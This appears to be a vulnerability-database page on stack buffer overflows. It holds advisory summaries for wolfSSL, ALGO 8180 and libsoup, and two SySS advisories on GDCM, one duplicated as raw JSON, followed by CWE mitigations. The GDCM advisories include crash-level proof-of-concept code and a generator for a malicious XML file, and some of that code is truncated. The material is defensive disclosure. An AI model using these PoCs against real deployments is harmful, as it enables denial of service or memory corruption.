Title
Stack buffer overflow in PKCS7 SignedData encoding with custom signed attributes
Summary
A stack buffer overflow vulnerability exists in wolfSSL's PKCS7 SignedData encoding functionality. In wc_PKCS7_BuildSignedAttributes(), when adding custom signed attributes, the code passes an incorrect capacity value (esd->signedAttribsCount) to EncodeAttributes() instead of the remaining available space in the fixed-size signedAttribs[7] array. When an application sets pkcs7->signedAttribsSz to a value greater than MAX_SIGNED_ATTRIBS_SZ (default 7) minus the number of default attributes already added, EncodeAttributes() writes beyond the array bounds, causing stack memory corruption. In WOLFSSL_SMALL_STACK builds, this becomes heap corruption. Exploitation requires an application that allows untrusted input to control the signedAttribs array size when calling wc_PKCS7_EncodeSignedData() or related signing functions.

ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow Remote Code Execution Vulnerability
Summary
ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of the Alert-Info header of SIP INVITE requests. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28301.

Title
Libsoup: signed to unsigned conversion error leading to stack-based buffer overflow in libsoup ntlm authentication
Summary
A flaw was identified in the NTLM authentication handling of the libsoup HTTP library, used by GNOME and other applications for network communication. When processing extremely long passwords, an internal size calculation can overflow due to improper use of signed integers. This results in incorrect memory allocation on the stack, followed by unsafe memory copying. As a result, applications using libsoup may crash unexpectedly, creating a denial-of-service risk.

When processing extremely long passwords, an internal size calculation can overflow due to improper use of signed integers.

[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)
Summary
Advisory ID: SYSS-2026-068
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Stack-based Buffer Overflow (CWE-121)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The library function gdcm::System::EncodeBytes, defined in
Source/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer
overflow. The function uses a fixed-size 32-byte stack buffer and copies
caller-provided data into it via memcpy() without checking the size
parameter against the buffer capacity. If a caller invokes EncodeBytes
with a size value greater than 32, a stack buffer overflow occurs,
potentially leading to a process crash or arbitrary code execution in
the context of the user running the application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The EncodeBytes function is a public static method of the
gdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose
is to convert a byte array (e.g. a UUID) into its decimal string
representation. The vulnerable code at Source/Common/gdcmSystem.cxx:620
is the following:
{
bool zero = false;
std::string sres;
unsigned char buffer[32]; // 32-byte stack buffer
unsigned char *addr = buffer;
memcpy(addr, data, size); // BUG: no bounds check on 'size'
while(!zero)
{
int res = getlastdigit(addr, size);
const char v = (char)('0' + res);
sres.insert(sres.begin(), v);
zero = true;
for(int i = 0; i < size; ++i)
{
zero = zero && (addr[i] == 0);
}
}
//return sres;
strcpy(out, sres.c_str()); //, sres.size() );
return sres.size();
}
The 'size' parameter is passed directly to memcpy() without validation
against the 32-byte buffer capacity. Additionally, the subsequent
getlastdigit() call and the loop iterating 'size' elements
all operate without bounds checks.
Since EncodeBytes is a public API, any downstream application that links
against GDCM and calls System::EncodeBytes with size > 32 is vulnerable.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A PoC was developed that calls the actual gdcm::System::EncodeBytes
function from a C++ program linked against the GDCM library, passing
a size value of 48 to overflow the 32-byte stack buffer.
PoC source code:
#include <gdcmSystem.h>
#include <cstdio>
#include <cstring>
int main()
{
const int overflow_size = 48; // Exceeds the 32-byte buffer by 16
unsigned char data[overflow_size];
memset(data, 0x41, overflow_size); // 'A' pattern
char outbuf[256];
size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);
printf("EncodeBytes returned length: %zu\n", len);
return 0;
}
To build and run the PoC, first compile GDCM with AddressSanitizer
(ASan) and then compile the PoC linking against the library:
mkdir -p /tmp/gdcmbin
cmake -S . -B /tmp/gdcmbin \
-DGDCM_BUILD_SHARED_LIBS=OFF \
-DGDCM_BUILD_APPLICATIONS=OFF \
-DGDCM_BUILD_TESTING=OFF \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
make -C /tmp/gdcmbin -j$(nproc) gdcmCommon
g++ -fsanitize=address -fno-omit-frame-pointer -g \
-ISource/Common \
pocs/poc1_encodebytes_stack_overflow.cpp \
/tmp/gdcmbin/bin/libgdcmCommon.a -o poc1
Running the PoC triggers the stack buffer overflow, detected by ASan:
$ ./poc1
==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address

[SYSS-2026-067]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)
Summary
Advisory ID: SYSS-2026-067
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Stack-based Buffer Overflow (CWE-121)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
GDCM's command-line tool gdcmxml, which converts between XML and DICOM
file formats, is vulnerable to a stack-based buffer overflow in the
LoadValueInteger macro. An attacker who can control the XML input
supplied to the gdcmxml command-line application can cause an unbounded
stack buffer overflow, potentially leading to a process crash or arbitrary
code execution in the context of the user running the application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series
of macros for loading DICOM attribute values from XML, including
LoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble
(line 403). The LoadValueInteger macro declares a fixed-size stack array
and populates it using sscanf() without any bounds checking on the
element count:
#define LoadValueInteger(type) \
case type: \
{ \
int count = 0; \
int values[10]; \
Element<type,VM::VM1_n> el; \
while(strcmp(name,"Value") == 0) \
{ \
READ_NEXT \
char *value_char = (char*)xmlTextReaderConstValue(reader); \
int nvalue = sscanf(value_char, "%d", &(values[count++])); \
gdcm_assert( nvalue == 1 ); (void)nvalue; \
READ_NEXT /*Value ending tag*/ \
name = (const char*)xmlTextReaderConstName(reader); \
READ_NEXT \
name = (const char*)xmlTextReaderConstName(reader); \
} \
el.SetLength( (count) * vr.GetSizeof() ); \
int total = 0; \
while(total < count) \
{ \
el.SetValue( (VRToType<VR::type>::Type)(values[total]), total); \
total++; \
} \
de = el.GetAsDataElement(); \
}break
The variable 'count' is incremented in the loop via the post-increment
operator in the sscanf call (values[count++]) but is never checked against
the array size (10). Any XML input with more than 10 <Value> elements for
a VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the
int values[10] array.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
For demonstrating the sscanf() overflow vulnerability in LoadValueInteger,
a simple PoC non-control-data exploit was developed that crashes the
application.
For this, a malicious XML file with 360 "Value" elements is used. The
sscanf() overflow corrupts a pointer at values[304] on the stack, which is
loaded and dereferenced causing a segmentation fault.
The following Python script creates the malicious XML file:
cat > sscanf_overflow_poc.py << 'PYEOF'
import sys
num_values = 360

"lang": "en",
"value": "Advisory ID: SYSS-2026-067\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Stack-based Buffer Overflow (CWE-121)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nGDCM\u0027s command-line tool gdcmxml, which converts between XML and DICOM\nfile formats, is vulnerable to a stack-based buffer overflow in the\nLoadValueInteger macro. An attacker who can control the XML input\nsupplied to the gdcmxml command-line application can cause an unbounded\nstack buffer overflow, potentially leading to a process crash or arbitrary\ncode execution in the context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series\nof macros for loading DICOM attribute values from XML, including\nLoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble\n(line 403). The LoadValueInteger macro declares a fixed-size stack array\nand populates it using sscanf() without any bounds checking on the\nelement count:\n\n #define LoadValueInteger(type) \\\n case type: \\\n { \\\n int count = 0; \\\n int values[10]; \\\n Element\u003ctype,VM::VM1_n\u003e el; \\\n while(strcmp(name,\"Value\") == 0) \\\n { \\\n READ_NEXT \\\n char *value_char = (char*)xmlTextReaderConstValue(reader); \\\n int nvalue = sscanf(value_char, \"%d\", \u0026(values[count++])); \\\n gdcm_assert( nvalue == 1 ); (void)nvalue; \\\n READ_NEXT /*Value ending tag*/ \\\n name = (const char*)xmlTextReaderConstName(reader); \\\n READ_NEXT \\\n name = (const char*)xmlTextReaderConstName(reader); \\\n } \\\n el.SetLength( (count) * vr.GetSizeof() ); \\\n int total = 0; \\\n while(total \u003c count) \\\n { \\\n el.SetValue( (VRToType\u003cVR::type\u003e::Type)(values[total]), total); \\\n total++; \\\n } \\\n de = el.GetAsDataElement(); \\\n }break\n\nThe variable \u0027count\u0027 is incremented in the loop via the post-increment\noperator in the sscanf call (values[count++]) but is never checked against\nthe array size (10). Any XML input with more than 10 \u003cValue\u003e elements for\na VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the\nint values[10] array.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nFor demonstrating the sscanf() overflow vulnerability in LoadValueInteger,\na simple PoC non-control-data exploit was developed that crashes the\napplication.\n\nFor this, a malicious XML file with 360 \"Value\" elements is used. The\nsscanf() overflow corrupts a pointer at values[304] on the stack, which is\nloaded and dereferenced causing a segmentation fault.\n\nThe following Python script creates the malicious XML file:\n\ncat \u003e sscanf_overflow_poc.py \u003c\u003c \u0027PYEOF\u0027\nimport sys\n\nnum_values = 360\noutput = \"sscanf_overflow_poc.xml\"\n\nxml = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n\nxml += b\u0027\u003cDicomAttribute tag = \"00200010\" vr = \"IS\" keyword = \"StudyID\"\u003e\\n\u0027\n\nfor i in range(1, num_values + 1):\n\n\nxml += b\u0027\u003c/DicomAttribute\u003e\\n\u0027\nxml += b\u0027\u003c/NativeDicomModel\u003e\u0027\n\nwith open(output, \u0027wb\u0027) as f:\n f.write(xml)\n\noverflow_elements = num_values - 10\nPYEOF\n\n\n\n\n$ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-067\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind.

Mitigation MIT-10
Operation
Build and Compilation
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation
Architecture and Design
Use an abstraction library to abstract away risky APIs. Not a complete solution.
Mitigation
Implementation
Implement and perform bounds checking on input.
Mitigation
Implementation
Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.
Mitigation MIT-11
Operation
Build and Compilation
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
